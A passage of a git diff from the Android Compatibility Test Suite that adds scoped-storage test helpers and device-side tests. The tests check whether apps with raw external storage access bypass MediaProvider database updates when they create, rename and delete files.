+    <application android:label="TestAppSystemGalleryBypassDB" android:requestRawExternalStorageAccess="true">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.SystemGalleryBypassDB"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index 8dfe7b7..a93aeee 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -17,29 +17,46 @@
 
 import static android.scopedstorage.cts.lib.RedactionTestHelper.EXIF_METADATA_QUERY;
 import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
+import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_READ_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CAN_OPEN_FILE_FOR_WRITE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CAN_READ_WRITE_QUERY;
-import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CHECK_DATABASE_ROW_EXISTS_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION;
+import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG;
 import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH;
+import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_URI;
+import static android.scopedstorage.cts.lib.TestUtils.IS_URI_REDACTED_VIA_FILEPATH;
+import static android.scopedstorage.cts.lib.TestUtils.IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_READ;
+import static android.scopedstorage.cts.lib.TestUtils.IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_WRITE;
 import static android.scopedstorage.cts.lib.TestUtils.OPEN_FILE_FOR_READ_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.OPEN_FILE_FOR_WRITE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.QUERY_TYPE;
+import static android.scopedstorage.cts.lib.TestUtils.QUERY_URI;
 import static android.scopedstorage.cts.lib.TestUtils.READDIR_QUERY;
+import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_PARAMS_SEPARATOR;
+import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 
 import android.app.Activity;
-import android.content.Intent;
 import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.media.ExifInterface;
+import android.net.Uri;
 import android.os.Bundle;
 import android.provider.MediaStore;
 
 import androidx.annotation.Nullable;
+import androidx.core.content.FileProvider;
 
 import java.io.File;
+import java.io.FileDescriptor;
 import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Collections;
@@ -76,6 +93,8 @@
                 case CAN_READ_WRITE_QUERY:
                 case CREATE_FILE_QUERY:
                 case DELETE_FILE_QUERY:
+                case CAN_OPEN_FILE_FOR_READ_QUERY:
+                case CAN_OPEN_FILE_FOR_WRITE_QUERY:
                 case OPEN_FILE_FOR_READ_QUERY:
                 case OPEN_FILE_FOR_WRITE_QUERY:
                 case SETATTR_QUERY:
@@ -87,6 +106,22 @@
                 case CREATE_IMAGE_ENTRY_QUERY:
                     returnIntent = createImageEntry(queryType);
                     break;
+                case RENAME_FILE_QUERY:
+                    returnIntent = renameFile(queryType);
+                    break;
+                case CHECK_DATABASE_ROW_EXISTS_QUERY:
+                    returnIntent = checkDatabaseRowExists(queryType);
+                    break;
+                case IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_WRITE:
+                case IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_READ:
+                    returnIntent = isFileDescriptorRedactedForUri(queryType);
+                    break;
+                case IS_URI_REDACTED_VIA_FILEPATH:
+                    returnIntent = isFilePathForUriRedacted(queryType);
+                    break;
+                case QUERY_URI:
+                    returnIntent = queryForUri(queryType);
+                    break;
                 case "null":
                 default:
                     throw new IllegalStateException(
@@ -99,6 +134,58 @@
         sendBroadcast(returnIntent);
     }
 
+    private Intent queryForUri(String queryType) {
+        final Intent intent = new Intent(queryType);
+        final Uri uri = getIntent().getParcelableExtra(INTENT_EXTRA_URI);
+
+        try {
+            final Cursor c = getContentResolver().query(uri, null, null, null);
+            intent.putExtra(queryType, c != null && c.moveToFirst());
+        } catch (Exception e) {
+            intent.putExtra(INTENT_EXCEPTION, e);
+        }
+
+        return intent;
+    }
+
+    private Intent isFileDescriptorRedactedForUri(String queryType) {
+        final Intent intent = new Intent(queryType);
+        final Uri uri = getIntent().getParcelableExtra(INTENT_EXTRA_URI);
+
+        try {
+            final String mode = queryType.equals(IS_URI_REDACTED_VIA_FILE_DESCRIPTOR_FOR_WRITE)
+                    ? "w" : "r";
+            FileDescriptor fd = getContentResolver().openFileDescriptor(uri,
+                    mode).getFileDescriptor();
+            ExifInterface exifInterface = new ExifInterface(fd);
+            intent.putExtra(queryType, exifInterface.getGpsDateTime() == -1);
+        } catch (Exception e) {
+            intent.putExtra(INTENT_EXCEPTION, e);
+        }
+
+        return intent;
+    }
+
+    private Intent isFilePathForUriRedacted(String queryType) {
+        final Intent intent = new Intent(queryType);
+        final Uri uri = getIntent().getParcelableExtra(INTENT_EXTRA_URI);
+
+        try {
+            final Cursor c = getContentResolver().query(uri, null, null, null);
+            if (!c.moveToFirst()) {
+                intent.putExtra(INTENT_EXCEPTION, new IOException(""));
+                return intent;
+            }
+            final String path = c.getString(c.getColumnIndex(MediaStore.MediaColumns.DATA));
+            ExifInterface redactedExifInf = new ExifInterface(path);
+            intent.putExtra(queryType, redactedExifInf.getGpsDateTime() == -1);
+        } catch (Exception e) {
+            intent.putExtra(INTENT_EXCEPTION, e);
+        }
+
+        return intent;
+    }
+
     private Intent sendMetadata(String queryType) throws IOException {
         final Intent intent = new Intent(queryType);
         if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
@@ -158,32 +245,85 @@
 
     private Intent accessFile(String queryType) throws IOException {
         if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+            final String packageName = getIntent().getStringExtra(INTENT_EXTRA_CALLING_PKG);
             final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
             final File file = new File(filePath);
-            boolean returnStatus = false;
-            if (queryType.equals(CAN_READ_WRITE_QUERY)) {
-                returnStatus = file.exists() && file.canRead() && file.canWrite();
-            } else if (queryType.equals(CREATE_FILE_QUERY)) {
-                maybeCreateParentDirInAndroid(file);
-                returnStatus = file.createNewFile();
-            } else if (queryType.equals(DELETE_FILE_QUERY)) {
-                returnStatus = file.delete();
-            } else if (queryType.equals(OPEN_FILE_FOR_READ_QUERY)) {
-                returnStatus = canOpen(file, false /* forWrite */);
-            } else if (queryType.equals(OPEN_FILE_FOR_WRITE_QUERY)) {
-                returnStatus = canOpen(file, true /* forWrite */);
-            } else if (queryType.equals(SETATTR_QUERY)) {
-                int newTimeMillis = 12345000;
-                returnStatus = file.setLastModified(newTimeMillis);
-            }
             final Intent intent = new Intent(queryType);
-            intent.putExtra(queryType, returnStatus);
-            return intent;
+            switch (queryType) {
+                case CAN_READ_WRITE_QUERY:
+                    intent.putExtra(queryType, file.exists() && file.canRead() && file.canWrite());
+                    return intent;
+                case CREATE_FILE_QUERY:
+                    maybeCreateParentDirInAndroid(file);
+                    if (!file.getParentFile().exists()) {
+                        file.getParentFile().mkdirs();
+                    }
+                    intent.putExtra(queryType, file.createNewFile());
+                    return intent;
+                case DELETE_FILE_QUERY:
+                    intent.putExtra(queryType, file.delete());
+                    return intent;
+                case SETATTR_QUERY:
+                    int newTimeMillis = 12345000;
+                    intent.putExtra(queryType, file.setLastModified(newTimeMillis));
+                    return intent;
+                case CAN_OPEN_FILE_FOR_READ_QUERY:
+                    intent.putExtra(queryType, canOpen(file, false));
+                    return intent;
+                case CAN_OPEN_FILE_FOR_WRITE_QUERY:
+                    intent.putExtra(queryType, canOpen(file, true));
+                    return intent;
+                case OPEN_FILE_FOR_READ_QUERY:
+                case OPEN_FILE_FOR_WRITE_QUERY:
+                    Uri contentUri = FileProvider.getUriForFile(getApplicationContext(),
+                            getApplicationContext().getPackageName(), file);
+                    intent.putExtra(queryType, contentUri);
+                    // Grant permission to the possible instrumenting test apps
+                    if (packageName != null) {
+                        getApplicationContext().grantUriPermission(packageName,
+                                contentUri, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                                | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
+                    }
+                    return intent;
+                default:
+                    throw new IllegalStateException(
+                            "Unknown query received from launcher app: " + queryType);
+            }
         } else {
             throw new IllegalStateException(queryType + ": File path not set from launcher app");
         }
     }
 
+    private Intent renameFile(String queryType) {
+        if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+            String[] paths = getIntent().getStringExtra(INTENT_EXTRA_PATH)
+                    .split(RENAME_FILE_PARAMS_SEPARATOR);
+            File src = new File(paths[0]);
+            File dst = new File(paths[1]);
+            boolean result = src.renameTo(dst);
+            final Intent intent = new Intent(queryType);
+            intent.putExtra(queryType, result);
+            return intent;
+        } else {
+            throw new IllegalStateException(
+                    queryType + ": File paths not set from launcher app");
+        }
+    }
+
+    private Intent checkDatabaseRowExists(String queryType) {
+        if (getIntent().hasExtra(INTENT_EXTRA_PATH)) {
+            final String filePath = getIntent().getStringExtra(INTENT_EXTRA_PATH);
+            boolean result =
+                    getFileRowIdFromDatabase(getContentResolver(), new File(filePath)) != -1;
+            final Intent intent = new Intent(queryType);
+            intent.putExtra(queryType, result);
+            return intent;
+        } else {
+            throw new IllegalStateException(
+                    queryType + ": File path not set from launcher app");
+        }
+    }
+
     private void maybeCreateParentDirInAndroid(File file) {
         final String ownedPathType = getOwnedDirectoryType(file);
         if (ownedPathType == null) {
diff --git a/hostsidetests/scopedstorage/TEST_MAPPING b/hostsidetests/scopedstorage/TEST_MAPPING
index 01fec04..8d9d418 100644
--- a/hostsidetests/scopedstorage/TEST_MAPPING
+++ b/hostsidetests/scopedstorage/TEST_MAPPING
@@ -1,12 +1,18 @@
 {
   "presubmit": [
     {
+      "name": "CtsScopedStorageCoreHostTest"
+    },
+    {
       "name": "CtsScopedStorageHostTest"
     }
   ],
   "presubmit-large": [
     {
       "name": "CtsScopedStoragePublicVolumeHostTest"
+    },
+    {
+      "name": "CtsScopedStorageDeviceOnlyTest"
     }
   ]
 }
diff --git a/hostsidetests/scopedstorage/device/AndroidManifest.xml b/hostsidetests/scopedstorage/device/AndroidManifest.xml
new file mode 100644
index 0000000..6f716fb
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.scopedstorage.cts.device">
+<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+<application android:label="Scoped Storage Device Tests">
+    <uses-library android:name="android.test.runner" />
+</application>
+
+<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                 android:targetPackage="android.scopedstorage.cts.device"
+                 android:label="Device-only scoped storage tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
new file mode 100644
index 0000000..7e6f895
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs device-only tests for scoped storage">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsScopedStorageDeviceOnlyTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
+    </target_preparer>
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="test-suite-tag" value="cts" />
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.scopedstorage.cts.device" />
+        <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
new file mode 100644
index 0000000..6889de3
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.device;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.renameFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.Manifest;
+import android.app.AppOpsManager;
+import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.TestUtils;
+import android.util.Log;
+
+import com.android.cts.install.lib.TestApp;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+
+/**
+ * Device-side test suite to verify file path operations optionally bypassing database operations.
+ */
+@RunWith(Parameterized.class)
+public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
+    static final String TAG = "BypassDatabaseOperationsTest";
+    // An app with READ_EXTERNAL_STORAGE permission. Targets current SDK and is preinstalled
+    private static final TestApp APP_SYSTEM_GALLERY_DEFAULT = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets current SDK and has
+    // requestRawExternalStorageAccess=true
+    private static final TestApp APP_SYSTEM_GALLERY_BYPASS_DB = new TestApp(
+            "TestAppSystemGalleryBypassDB",
+            "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
+            "CtsScopedStorageTestAppSystemGalleryBypassDB.apk");
+    // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30.
+    private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppC",
+            "android.scopedstorage.cts.testapp.C", 1, false,
+            "CtsScopedStorageTestAppC30.apk");
+    // An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30 and has
+    // requestRawExternalStorageAccess=true
+    private static final TestApp APP_SYSTEM_GALLERY_30_BYPASS_DB = new TestApp(
+            "TestAppSystemGalleryBypassDB",
+            "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
+            "CtsScopedStorageTestAppSystemGallery30BypassDB.apk");
+    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+    // Targets current SDK and preinstalled
+    private static final TestApp APP_FM_DEFAULT = new TestApp(
+            "TestAppFileManager", "android.scopedstorage.cts.testapp.filemanager", 1, false,
+            "CtsScopedStorageTestAppFileManager.apk");
+    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+    // Targets current SDK and has requestRawExternalStorageAccess=true
+    private static final TestApp APP_FM_BYPASS_DATABASE_OPS = new TestApp(
+            "TestAppFileManagerBypassDB", "android.scopedstorage.cts.testapp.filemanagerbypassdb",
+            1, false, "CtsScopedStorageTestAppFileManagerBypassDB.apk");
+    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission and targets targetSDK=30
+    private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppC",
+            "android.scopedstorage.cts.testapp.C", 1, false,
+            "CtsScopedStorageTestAppC30.apk");
+
+    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+    private static final String[] SYSTEM_GALLERY_APPOPS = {
+            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+
+    /**
+     * To help avoid flaky tests, give ourselves a unique nonce to be used for
+     * all filesystem paths, so that we don't risk conflicting with previous
+     * test runs.
+     */
+    static final String NONCE = String.valueOf(System.nanoTime());
+
+    static final String IMAGE_FILE_NAME = "BypassDatabaseOperations_file_" + NONCE + ".jpg";
+
+    @BeforeClass
+    public static void setupApps() throws Exception {
+        // File manager needs to be explicitly granted MES app op.
+        final int fmUid =
+                getContext().getPackageManager().getPackageUid(
+                        APP_FM_DEFAULT.getPackageName(), 0);
+        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+    }
+
+    @Parameter(0)
+    public String mVolumeName;
+
+    @Parameters(name = "volume={0}")
+    public static Iterable<? extends Object> data() {
+        return ScopedStorageBaseDeviceTest.getTestParameters();
+    }
+
+    @Before
+    public void setupExternalStorage() {
+        super.setupExternalStorage(mVolumeName);
+        Log.i(TAG, "Using volume : " + mVolumeName);
+    }
+
+
+    /**
+     * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
+     * targetSDK=31 or higher will not bypass database operations by default.
+     */
+    @Test
+    public void testManageExternalStorage_DoesntBypassDatabase() throws Exception {
+        testAppDoesntBypassDatabaseOps(APP_FM_DEFAULT);
+    }
+
+    /**
+     * Test that app with MANAGE_EXTERNAL_STORAGE permission, targeting
+     * targetSDK=31 or higher and with requestRawExternalStorageAccess=true
+     * will bypass database operations.
+     */
+    @Test
+    public void testManageExternalStorage_WithBypassFlag_BypassesDatabase() throws Exception {
+        installApp(APP_FM_BYPASS_DATABASE_OPS);
+        try {
+            final int fmUid =
+                    getContext().getPackageManager().getPackageUid(
+                            APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
+            allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+            testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
+        } finally {
+            uninstallAppNoThrow(APP_FM_BYPASS_DATABASE_OPS);
+        }
+    }
+
+    /**
+     * Test that app with MANAGE_EXTERNAL_STORAGE permission and targeting
+     * targetSDK=30 or lower will bypass database operations by default.
+     */
+    @Test
+    public void testManageExternalStorage_targets30_BypassesDatabase() throws Exception {
+        installApp(APP_FM_TARGETS_30);
+        try {
+            final int fmUid =
+                    getContext().getPackageManager().getPackageUid(
+                            APP_FM_TARGETS_30.getPackageName(), 0);
+            allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+            testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
+        } finally {
+            uninstallAppNoThrow(APP_FM_TARGETS_30);
+        }
+    }
+
+    /**
+     * Test that app with SYSTEM_GALLERY role and targeting
+     * targetSDK=current or higher will not bypass database operations by default.
+     */
+    @Test
+    public void testSystemGallery_DoesntBypassDatabase() throws Exception {
+        final int sgUid =
+                getContext().getPackageManager().getPackageUid(
+                        APP_SYSTEM_GALLERY_DEFAULT.getPackageName(), 0);
+        try {
+            allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+            testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_DEFAULT);
+        } finally {
+            denyAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+        }
+    }
+
+
+    /**
+     * Test that app with SYSTEM_GALLERY role, targeting
+     * targetSDK=current or higher and with requestOptimizedSystemGalleryAccess=true
+     * will bypass database operations.
+     */
+    @Test
+    public void testSystemGallery_WithBypassFlag_BypassesDatabase() throws Exception {
+        installAppWithStoragePermissions(APP_SYSTEM_GALLERY_BYPASS_DB);
+        try {
+            final int sgUid =
+                    getContext().getPackageManager().getPackageUid(
+                            APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
+            allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+            testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
+        } finally {
+            uninstallAppNoThrow(APP_SYSTEM_GALLERY_BYPASS_DB);
+        }
+    }
+
+    /**
+     * Test that app with SYSTEM_GALLERY role and targeting
+     * targetSDK=30 or higher will not bypass database operations by default.
+     */
+    @Test
+    public void testSystemGallery_targets30_DoesntBypassDatabase() throws Exception {
+        installAppWithStoragePermissions(APP_SYSTEM_GALLERY_30);
+        try {
+            final int sgUid =
+                    getContext().getPackageManager().getPackageUid(
+                            APP_SYSTEM_GALLERY_30.getPackageName(), 0);
+            allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+            testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
+        } finally {
+            uninstallAppNoThrow(APP_SYSTEM_GALLERY_30);
+        }
+    }
+
+    /**
+     * Test that app with SYSTEM_GALLERY role, targeting
+     * targetSDK=30 or higher and with requestOptimizedSystemGalleryAccess=true
+     * will bypass database operations.
+     */
+    @Test
+    public void testSystemGallery_targets30_WithBypassFlag_BypassesDatabase() throws Exception {
+        installAppWithStoragePermissions(APP_SYSTEM_GALLERY_30_BYPASS_DB);
+        try {
+            final int sgUid =
+                    getContext().getPackageManager().getPackageUid(
+                            APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
+            allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+            testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
+        } finally {
+            uninstallAppNoThrow(APP_SYSTEM_GALLERY_30_BYPASS_DB);
+        }
+    }
+
+    private void testAppDoesntBypassDatabaseOps(TestApp app) throws Exception {
+        final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        try {
+            assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
+            // File path create() added file to database.
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
+
+            assertThat(renameFileAs(app, file, renamedFile)).isTrue();
+            // File path rename() also updates the database row
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+
+            assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
+            // File path delete() removes database row.
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
+        } finally {
+            if (file.exists()) {
+                deleteFileAsNoThrow(app, file.getAbsolutePath());
+            }
+            if (renamedFile.exists()) {
+                deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
+            }
+        }
+    }
+
+    private void testAppBypassesDatabaseOps(TestApp app) throws Exception {
+        final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        try {
+            assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
+            // File path create() didn't add the file to database.
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
+
+            // Ensure file is added to database.
+            assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+
+            assertThat(renameFileAs(app, file, renamedFile)).isTrue();
+            // Rename() didn't update the database row.
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
+
+            // Ensure database is updated with renamed path
+            assertNull(MediaStore.scanFile(getContentResolver(), file));
+            assertNotNull(MediaStore.scanFile(getContentResolver(), renamedFile));
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+
+            assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
+            // Unlink() didn't remove the database row.
+            assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+        } finally {
+            if (file.exists()) {
+                deleteFileAsNoThrow(app, file.getAbsolutePath());
+            }
+            if (renamedFile.exists()) {
+                deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
+            }
+            MediaStore.scanFile(getContentResolver(), file);
+            MediaStore.scanFile(getContentResolver(), renamedFile);
+        }
+    }
+}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
new file mode 100644
index 0000000..7cad3db
--- /dev/null
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageBaseDeviceTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.device;
+
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
+import static android.scopedstorage.cts.lib.TestUtils.setExternalStorageVolume;
+import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.TestUtils;
+
+import org.junit.BeforeClass;
+
+import java.util.Arrays;
+import java.util.List;
+
